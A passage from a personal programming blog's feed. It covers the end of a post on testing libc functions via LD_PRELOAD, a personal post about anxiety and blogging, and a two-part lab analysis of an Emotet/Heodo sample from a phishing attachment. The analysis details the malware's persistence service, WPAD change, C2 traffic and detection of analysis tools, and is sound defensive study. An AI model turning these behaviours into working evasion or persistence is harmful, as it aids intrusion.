libraries are used when we want to execute our program:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ldd ./hello
    linux-vdso.so.1 (0x00007fff775c3000)
    libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd4ae478000)
    /lib64/ld-linux-x86-64.so.2 (0x00007fd4aea6b000)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; to tell the operating system (and its dynamic linker) to
use our shared library (almost) first, which is why our program ended up calling
our version of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ LD_PRELOAD=./evil.so ldd ./hello
    linux-vdso.so.1 (0x00007fffa0759000)
    ./evil.so (0x00007ff46f155000)
    libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff46ed64000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ff46f559000)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s what happened!&lt;/p&gt;

&lt;h2 id=&quot;compilers-are-too-smart&quot;&gt;Compilers are (too) smart.&lt;/h2&gt;

&lt;p&gt;I used a similar approach to write tests for my little kernel
(&lt;a href=&quot;https://github.com/willdurand/ArvernOS/pull/21&quot;&gt;patch&lt;/a&gt;) but it did not always
work well. For example, I could not test the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strlen()&lt;/code&gt; function because the
compiler optimized my code in a way that there was no need to link to the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strlen()&lt;/code&gt; function anymore. In other words, the symbol table did not contain
any reference to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strlen&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We can update our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hello.c&lt;/code&gt; file to reproduce the problem. For example, let’s
add a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strlen()&lt;/code&gt; call to output the number &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-diff highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gh&quot;&gt;diff --git a/hello.c b/hello.c
index a9744a9..f2b139d 100644
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;--- a/hello.c
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+++ b/hello.c
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@@ -7,7 +7,7 @@&lt;/span&gt; int main() {
   char* name = malloc(7 * sizeof(char));
   strcpy(name, hello);

-  printf(&quot;%s\n&quot;, name);
&lt;span class=&quot;gi&quot;&gt;+  printf(&quot;%s %ld\n&quot;, name, strlen(&quot;four&quot;));
&lt;/span&gt;
   free(name);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As expected, inspecting the symbol table of the recompiled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hello&lt;/code&gt; program will
lead to no reference to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strlen()&lt;/code&gt; function, which is why I did not provide
any output here. Instead, we can confirm that the compiler optimized our code by
disassembling the program with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;objdump -d&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ objdump -d -Mintel hello

hello:     file format elf64-x86-64

...
 749:	e8 82 fe ff ff       	call   5d0 &amp;lt;strcpy@plt&amp;gt;
 74e:	48 8b 45 f8          	mov    rax,QWORD PTR [rbp-0x8]
 752:	ba 04 00 00 00       	mov    edx,0x4
 757:	48 89 c6             	mov    rsi,rax
 75a:	48 8d 3d aa 00 00 00 	lea    rdi,[rip+0xaa]        # 80b &amp;lt;_IO_stdin_used+0xb&amp;gt;
 761:	b8 00 00 00 00       	mov    eax,0x0
 766:	e8 75 fe ff ff       	call   5e0 &amp;lt;printf@plt&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Without knowing assembler, we can notice that there is no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strlen&lt;/code&gt;.
Instead the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4&lt;/code&gt;) is moved to a register before calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;printf&lt;/code&gt;.
The compiler optimized our code!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I leveraged the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; environment variable to inject a function under
test in a test program. The test program is linked against whatever &lt;em&gt;libc&lt;/em&gt; is
installed on the system and only the FUT is replaced. That way, the test code
can be trusted and we can compare the behavior of the FUT with the equivalent
function in the system’s &lt;em&gt;libc&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;While it is an efficient method to write simple unit tests, it still requires
some extra checks to make sure we are not testing the numerous compiler
optimizations that would completely skip the FUT.&lt;/p&gt;

&lt;p&gt;With these &lt;em&gt;libc&lt;/em&gt; functions implemented and tested, I can now build new features
on top of them with confidence and write “traditional” unit tests for these
modules.&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>SIGCONT</title>
        <link href="https://williamdurand.fr/2019/12/20/sigcont/"/>
        <updated>2019-12-20T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2019/12/20/sigcont</id>
        <content type="html">&lt;p&gt;I have never been really good at blogging consistently. The truth is: it’s hard,
for multiple reasons. I used to write without fear when I was younger, so what
happened?&lt;/p&gt;

&lt;p&gt;Over the last five years, I learnt a lot about various topics and the more I was
learning, the more I was scared of actually not knowing anything. And this weird
feeling became much stronger after I had a &lt;em&gt;life incident&lt;/em&gt; 3.5 years ago. All
of this evolved into a form of &lt;a href=&quot;https://en.wikipedia.org/wiki/Anxiety_disorder&quot;&gt;anxiety
disorder&lt;/a&gt;, which I tried to
fight by myself for 3 years. My last round-trip to an emergency service for
nothing convinced me to go to “see someone”. My self-esteem has been decreasing
over time and this &lt;em&gt;thing&lt;/em&gt; did not help.&lt;/p&gt;

&lt;p&gt;The only “benefit” at being &lt;em&gt;like that&lt;/em&gt; is that I never stop pushing my own
limits. The main drawbacks are that I am rarely proud of myself, never satisfied
and I hardly believe people’s kind words. Such feelings do not mean that I am
unhappy or sad or even depressed. It rather means: I cannot even think about the
&lt;a href=&quot;https://en.wikipedia.org/wiki/Impostor_syndrome&quot;&gt;Impostor syndrome&lt;/a&gt; because I
would fail to qualify as an impostor… That is a bit annoying but it is not the
end of the world.&lt;/p&gt;

&lt;p&gt;For example, according to my manager and the outcome of the projects I have
worked on this year, I perform very well at my current company. Self-esteem does
not prevent one to get things done, take initiatives or create amazing things.
Yet, having little self-esteem forced me to put “according to” in the previous
sentence. And that is actually the problem.&lt;/p&gt;

&lt;p&gt;When I want to blog, I usually stop because (1) I do not have anything
interesting to write, (2) I do not know enough or (3) no one cares about my
thoughts. When I was younger, I was probably too bold to think about all of this
but sharing my (sometimes imprecise) knowledge was still immensely positive.
That is why, as of now, I will try to write again.&lt;/p&gt;

&lt;p&gt;I like &lt;a href=&quot;https://jvns.ca/&quot;&gt;Julia Evans’ blog&lt;/a&gt; and the way she writes. It is “more
of a live-blogged exploration of a topic than an explanation of the topic” to
quote &lt;a href=&quot;https://danluu.com/programming-blogs/&quot;&gt;someone else&lt;/a&gt; describing her
style. I would like to write shorter articles more often. I would like to write
about how I work and also about all the (technical) topics I am interested in.
This &lt;em&gt;plan&lt;/em&gt; should likely address my concerns (1) and (2). As for (3), I have
been reading so many different blogs about all kinds of things that my upcoming
articles will eventually be useful to someone else, I believe.&lt;/p&gt;

&lt;p&gt;Let’s send a &lt;a href=&quot;https://en.wikipedia.org/wiki/SIGCONT&quot;&gt;SIGCONT&lt;/a&gt; to this blog!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Malware analysis writeup: Heodo (2/2)</title>
        <link href="https://williamdurand.fr/2019/05/27/malware-analysis-writeup-heodo-part-2/"/>
        <updated>2019-05-27T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2019/05/27/malware-analysis-writeup-heodo-part-2</id>
        <content type="html">&lt;p&gt;This is Part 2 of a malware analysis I did last week. This time, it was not an
exercise!&lt;/p&gt;

&lt;p&gt;In &lt;a href=&quot;/2019/05/24/malware-analysis-writeup-heodo-part-1/&quot;&gt;Part 1&lt;/a&gt;, I
described how I extracted a PowerShell script executed by a VBA macro hidden in
a Word document. At the end, I was able to download the program that was
supposed to be downloaded by the PowerShell script. In the sequel, I am going to
describe the analysis of this program named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;71.exe&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;first-look&quot;&gt;First look&lt;/h2&gt;

&lt;p&gt;I uploaded the program to VirusTotal again and found out that it was already
known. Looking at the report, it did not look like the executable was packed,
but entropy was still quite high. This happens when a program embeds some
content, like other DLLs, executables, etc.&lt;/p&gt;

&lt;p&gt;The first thing that struck me was the use of the following functions:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CADeleteCA
CAEnumFirstCA
CAEnumNextCA
CACloseCA
CACloseCertType
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I thought that this malware was maybe installing/replacing a rogue certificate
somehow. From VirusTotal, that’s all I could gather so I decided to boot a
Windows 7 VM and started a static analysis.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Post-mortem:&lt;/em&gt; once again, I neglected the VirusTotal report. I did not pay
enough attention to the antivirus reports, which led to extra work to find
what this program was all about.
In addition to that, my lack of experience made me think about a small-ish
malware and I never thought that it could be a very complex and well-known
malware.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;static-analysis&quot;&gt;Static analysis&lt;/h2&gt;

&lt;p&gt;I started by running &lt;a href=&quot;https://en.wikipedia.org/wiki/Strings_(Unix)&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings&lt;/code&gt;&lt;/a&gt;
on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;71.exe&lt;/code&gt; file. I found some function names and a lot of garbage but
nothing really obvious. Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PeID&lt;/code&gt;, I could not find evidences of a
&lt;a href=&quot;https://en.wikipedia.org/wiki/Executable_compression&quot;&gt;packer&lt;/a&gt;, same with
&lt;a href=&quot;https://github.com/horsicq/Detect-It-Easy&quot;&gt;DIE&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PeView&lt;/code&gt; to look more into the different
&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#general-concepts&quot;&gt;sections&lt;/a&gt;
and did not spot any big problem (again, based on my knowledge). Virtual and raw
sizes looked similar and section names were not weird. I concluded that the
program was likely decoding its instructions at runtime.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;virtual size&lt;/th&gt;
      &lt;th&gt;size of raw data&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;.text&lt;/td&gt;
      &lt;td&gt;4280 (0x10b8)&lt;/td&gt;
      &lt;td&gt;4608 (0x1200)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;.data&lt;/td&gt;
      &lt;td&gt;70580 (0x113b4)&lt;/td&gt;
      &lt;td&gt;70656 (0x11400)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Post-mortem:&lt;/em&gt; I might have missed something though, but at the time, that’s
all I could gather.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Given that I was stuck and could not find more useful information about this
executable, I decided to switch to dynamic analysis 👻&lt;/p&gt;

&lt;h2 id=&quot;dynamic-analysis&quot;&gt;Dynamic analysis&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;Dynamic analysis is any examination performed after executing malware.
&lt;br /&gt;&lt;em&gt;– In Practical Malware Analysis, Chapter 3&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In a Windows 7 32-bit VM, I started a few tools and then executed the malicious
program in order to analyze its behavior 💣 After a few seconds, the program
disappeared as shown in Figure 1. I already saw this behavior during a previous
analysis, so I made a copy of the program before running it.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2019/05/run-and-disappear.gif&quot; alt=&quot;A short screen cast showing that the program disappears shortly after being
executed&quot; /&gt;
&lt;em&gt;Figure 1: the program disappears shortly after being executed&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;procmon&quot;&gt;Procmon&lt;/h3&gt;

&lt;p&gt;Further investigation using
&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Procmon&lt;/code&gt;&lt;/a&gt;
revealed that it renamed itself to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows\System32\hotspotsel.exe&lt;/code&gt; (&lt;em&gt;cf.&lt;/em&gt;
Figure 2). Given that this path was not present in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings&lt;/code&gt; output, I had
the confirmation that the program was decrypting its instructions at runtime and
only loaded information in memory when needed. This seems to be a common
protection against malware analysts. That was quite unexpected given that its
Downloader (&lt;em&gt;cf.&lt;/em&gt; &lt;a href=&quot;/2019/05/24/malware-analysis-writeup-heodo-part-1/&quot;&gt;Part 1&lt;/a&gt;) was pretty easy to
reverse.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2019/05/procmon-rename.png&quot; alt=&quot;A screenshot of Procmon&quot; /&gt;
&lt;em&gt;Figure 2: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetRenameInformationFile&lt;/code&gt; call captured by Procmon&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;regshot&quot;&gt;Regshot&lt;/h3&gt;

&lt;p&gt;I continued my analysis by reviewing the diff of the Windows registry created
with &lt;a href=&quot;https://sourceforge.net/p/regshot/wiki/Home/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Regshot&lt;/code&gt;&lt;/a&gt; as depicted in
Figure 3 (Right-click &amp;gt; “View image” to display the image in full size).&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2019/05/regshot-diff.png&quot; alt=&quot;A screenshot of the Windows VM with the Regshot diff file
opened&quot; /&gt;
&lt;em&gt;Figure 3: A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;diff&lt;/code&gt; of the registry created with Regshot&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I discovered two interesting facts about the program:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;it creates a service called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hotspotsel.exe&lt;/code&gt; that is supposed to “copy user
certificates and root certificates from smart cards […]”. The service is
persistent and survives reboots based on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sc query&lt;/code&gt; output shown in
Figure 4.&lt;/p&gt;

    &lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2019/05/sc-qc.png&quot; alt=&quot;A screenshot of the output of sc query&quot; /&gt;
&lt;em&gt;Figure 4: The output of service control&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;it turns on a feature called
&lt;a href=&quot;https://en.wikipedia.org/wiki/Web_Proxy_Auto-Discovery_Protocol&quot;&gt;WPAD&lt;/a&gt;.
Googling this term revealed that this Windows feature was a known
vulnerability.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;With the second fact combined to the references to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CA*&lt;/code&gt; functions, I really
thought that this program was trying to get access to secure exchanges (HTTPS)
but I was only guessing.&lt;/p&gt;

&lt;h3 id=&quot;process-explorer&quot;&gt;Process Explorer&lt;/h3&gt;

&lt;p&gt;Looking at &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Process Explorer&lt;/code&gt;&lt;/a&gt;,
I could confirm that the service was running and I discovered that it was
started with a command line argument. I supposed that the presence of the
argument started the program in a “service” mode instead of trying to install
itself as a service (like when I executed the program manually).&lt;/p&gt;

&lt;p&gt;The printable strings retrieved from the running service memory were not super
helpful unfortunately. I could find the service name (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hostspotsel&lt;/code&gt;) as well as
the fully qualified path to the executable and the name of the computer followed
by 6 characters, but nothing else.&lt;/p&gt;

&lt;p&gt;Last thing I discovered was a bunch of network calls with what seemed random IP
addresses and different ports such as: 80, 8080, 443, 465, 22, etc. The Windows
VM was fully isolated during this analysis phase, so all requests failed and I
could not gather new information. It was time to perform a network analysis.&lt;/p&gt;

&lt;h2 id=&quot;network-analysis&quot;&gt;Network analysis&lt;/h2&gt;

&lt;p&gt;Network analysis is still dynamic analysis but focused on network activities.&lt;/p&gt;

&lt;p&gt;In order to do that, I recreated a new lab containing a Windows 7 VM as well as
a &lt;a href=&quot;https://remnux.org/&quot;&gt;REMnux&lt;/a&gt; (Linux) VM, both in the same VirtualBox
“internal network”. I configured the Linux VM so that it catches all TCP/IP
packets, no matter the destination IPs. In the Windows VM, I set the gateway IP
to the Linux IP. I had noted some destination ports before so I started a bunch
of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netcat&lt;/code&gt; on different ports in the Linux VM as well.&lt;/p&gt;

&lt;p&gt;I executed the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;71.exe&lt;/code&gt; program in the Windows 7 VM again. In &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Process Explorer&lt;/code&gt;, I saw that some network calls were &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ESTABLISHED&lt;/code&gt;, which meant that
the malware was able to connect to its servers. That’s what the malware thought
though, because it actually connected to the Linux VM, which received a bunch of
HTTP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; requests in the different &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netcat&lt;/code&gt; I had started before. There is an
example in Figure 5.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2019/05/remnux-nc.png&quot; alt=&quot;A screenshot of a Linux terminal with a POST request captured by
netcat&quot; /&gt;
&lt;em&gt;Figure 5: A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; HTTP request captured by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netcat&lt;/code&gt; listening on port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8080&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;For each request, the HTTP body was
&lt;a href=&quot;https://tools.ietf.org/html/rfc4648#section-5&quot;&gt;base64-URL-encoded&lt;/a&gt;. I tried to
decode some of these bodies but none was readable. The content was probably
encrypted first and then encoded with base64.&lt;/p&gt;

&lt;h2 id=&quot;hello-heodo&quot;&gt;Hello, Heodo&lt;/h2&gt;

&lt;p&gt;I noted the IP addresses and ports printed in the different &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netcat&lt;/code&gt; outputs,
and I used Google again to get more information. I found that one IP address was
referenced as a &lt;a href=&quot;https://en.wikipedia.org/wiki/Botnet#Command_and_control&quot;&gt;C2
server&lt;/a&gt; of a famous
botnet called… &lt;strong&gt;Heodo&lt;/strong&gt;. I put a name on this malware, finally!&lt;/p&gt;

&lt;p&gt;I then gathered more information about Heodo:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;it is a variant of
&lt;a href=&quot;https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet&quot;&gt;Emotet&lt;/a&gt;. I did
not expect to analyse one of the most prevalent malware as a first!&lt;/li&gt;
  &lt;li&gt;This malware is often distributed &lt;em&gt;via&lt;/em&gt; emails using an attachment (like a
Word document) that contains a malicious PowerShell script to download and
install it.&lt;/li&gt;
  &lt;li&gt;Once the malware is installed, it tries to reach a C2 server from a list.
That’s exactly what I noticed during my network analysis, cool.&lt;/li&gt;
  &lt;li&gt;Exchanges are encrypted with RSA. That is probably why I could not read
anything after having decoded the base64-URL-encoded HTTP bodies.&lt;/li&gt;
  &lt;li&gt;When the malware tries to &lt;a href=&quot;https://en.wikipedia.org/wiki/Phoning_home&quot;&gt;phone
home&lt;/a&gt; for the first time, it
collects and sends data to the C2 server, which might respond differently
depending on what is sent. For example, it sends the computer name followed
by some information about the CPU and the list of running processes. If this
list contains a malware analysis tool, it will not send a new program but
either nothing or itself.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Even though most of my findings matched the characteristics of Heodo/Emotet, I
was not 100% sure that the program I was analyzing was Heodo/Emotet. C2 servers
might be compromised by more than one bad actor, so we cannot only infer the
malware based on the IPs it interacts with (I think).&lt;/p&gt;

&lt;h2 id=&quot;debugger&quot;&gt;Debugger&lt;/h2&gt;

&lt;p&gt;I decided to attach the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ollydbg&lt;/code&gt; debugger to the running service
(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hotspotsel.exe&lt;/code&gt;) to see if I could learn something new. I only used this
debugger twice before and during guided exercises so I did not really know what
I was doing -__-&lt;/p&gt;

&lt;p&gt;I decided to pause the execution when a connection was established
(this can be seen in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Process Explorer&lt;/code&gt;). I tried to find ASCII strings and
eventually found an IP address. This IP address also appeared in one of the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netcat&lt;/code&gt; outputs on the Linux VM. I told the debugger to find the IP address in
the memory dump and manually reviewed what was there before and after this
point. I found a long list of process names, including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OLLYDBG.EXE&lt;/code&gt; and
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VBoxTray.exe&lt;/code&gt; as depicted in Figure 6. This is the list of all the running
processes in the Windows VM!&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2019/05/ollydbg.png&quot; alt=&quot;A screenshot of the Ollydbg debugger&quot; /&gt;
&lt;em&gt;Figure 6: The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ollydbg&lt;/code&gt; window with a list of processes (in the blue
rectangle)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I was also able to find a few more IP addresses in the memory dump and the
computer name again, followed by the same characters I read in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Process Explorer&lt;/code&gt; before (in the “printable strings”).&lt;/p&gt;

&lt;p&gt;These findings validated the 5th item in the previous section: Heodo/Emotet
malware send the list of running processes to their C2 servers. That way, C2
servers can detect malware analysts. The program will likely keep sending this
list until the C2 server tells it to do something else.&lt;/p&gt;

&lt;p&gt;At this point, I was confident and decided to stop my analysis here. I reached
my goal: I discovered which malware was installed by the Word document received
by my friend.&lt;/p&gt;

&lt;h2 id=&quot;whats-next&quot;&gt;What’s next?&lt;/h2&gt;

&lt;p&gt;I found a great &lt;a href=&quot;https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html&quot;&gt;deep analysis of an Emotet
variant&lt;/a&gt;
as well as some &lt;a href=&quot;https://github.com/tadavies/emotet&quot;&gt;interesting tools&lt;/a&gt; when I
was writing this article. It seems possible to patch the malware at runtime to
hopefully retrieve other malicious programs. This requires to connect the
Windows VM to the Internet, though. In the future, I’d like to perform a similar
analysis.&lt;/p&gt;

&lt;p&gt;I would also like to see if I can fully reverse the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;71.exe&lt;/code&gt; program to retrieve
the RSA keys, C2 IP addresses and so on (if possible). Reverse engineering is
not my best strength though.&lt;/p&gt;

&lt;h2 id=&quot;recap&quot;&gt;Recap’&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;I analyzed a malware with various techniques.&lt;/li&gt;
  &lt;li&gt;I discovered that this malware was a well-known malware named Heodo.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IoCs:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Filename&lt;/th&gt;
      &lt;th&gt;MD5 checksum&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;71.exe&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;457bfd478d79230b99bce5c2055ed62d&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</content>
    </entry>
    
    <entry>
        <title>Malware analysis writeup: Heodo (1/2)</title>
        <link href="https://williamdurand.fr/2019/05/24/malware-analysis-writeup-heodo-part-1/"/>
        <updated>2019-05-24T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2019/05/24/malware-analysis-writeup-heodo-part-1</id>
        <content type="html">&lt;p&gt;This is Part 1 of a malware analysis I did this week. This time, it was not an
exercise!&lt;/p&gt;

&lt;p&gt;I started digging into “malware analysis” some time ago, mostly because I did
not know anything about malware (except that they were not nice). I still do
not know a lot about this topic, but I learned a few things already. In the
sequel, I am going to describe why and how I analyzed the first part of this
malware.&lt;/p&gt;

&lt;h2 id=&quot;preamble&quot;&gt;Preamble&lt;/h2&gt;

&lt;p&gt;Earlier this week, one of my friends received an email from his child’s school.
It was a reply to an email he sent a couple of months ago, about his child being
sick back then. Although the content of the email seemed legit, a file named
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ANHANG-16231-21845251.doc&lt;/code&gt; was attached to it, which alerted my friend. He
called the school and got confirmation that no one sent such an email.&lt;/p&gt;

&lt;p&gt;My friend asked me what I thought about this story. Double-checking the email
headers, it was trivial to confirm that the school employee was impersonated.
Given that the reply matched his email, the emails of this person were likely
dumped a while ago and the bad folks started to make “good” use of them. Before
leaving him, I asked my friend to forward me the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.doc&lt;/code&gt; file.&lt;/p&gt;

&lt;h2 id=&quot;word-document-and-vba-macro&quot;&gt;Word document and VBA macro&lt;/h2&gt;

&lt;p&gt;I uploaded this file on &lt;a href=&quot;https://www.virustotal.com&quot;&gt;VirusTotal&lt;/a&gt; but I did not
get a lot of information, so I started a VM with a set of tools to perform static
analysis of this document file.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Post-mortem:&lt;/em&gt; the VirusTotal report was more interesting than I thought: it
mentioned that this file was likely a “Downloader”. Knowing this beforehand
could have helped me during the analysis process.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I am not an expert, but I know that Microsoft documents can embed and run
&lt;a href=&quot;https://en.wikipedia.org/wiki/Macro_(computer_science)&quot;&gt;macros&lt;/a&gt;, specifically
&lt;a href=&quot;https://en.wikipedia.org/wiki/Visual_Basic_for_Applications&quot;&gt;VBA&lt;/a&gt; macros. I also
know that these macros have access to a lot of APIs and can run commands. The only
set of tools I am aware of to deal with such formats/files is
&lt;a href=&quot;https://github.com/decalage2/oletools&quot;&gt;oletools&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I knew that this file was likely hiding VBA macros, but my experience solving
some so-called “hacking challenges” taught me to not overlook the information
gathering phase. I analyzed the file with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oleid&lt;/code&gt;, which confirmed my intuition
and also indicated that the file was not encrypted:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;oleid 0.54 - http://decalage.info/oletools
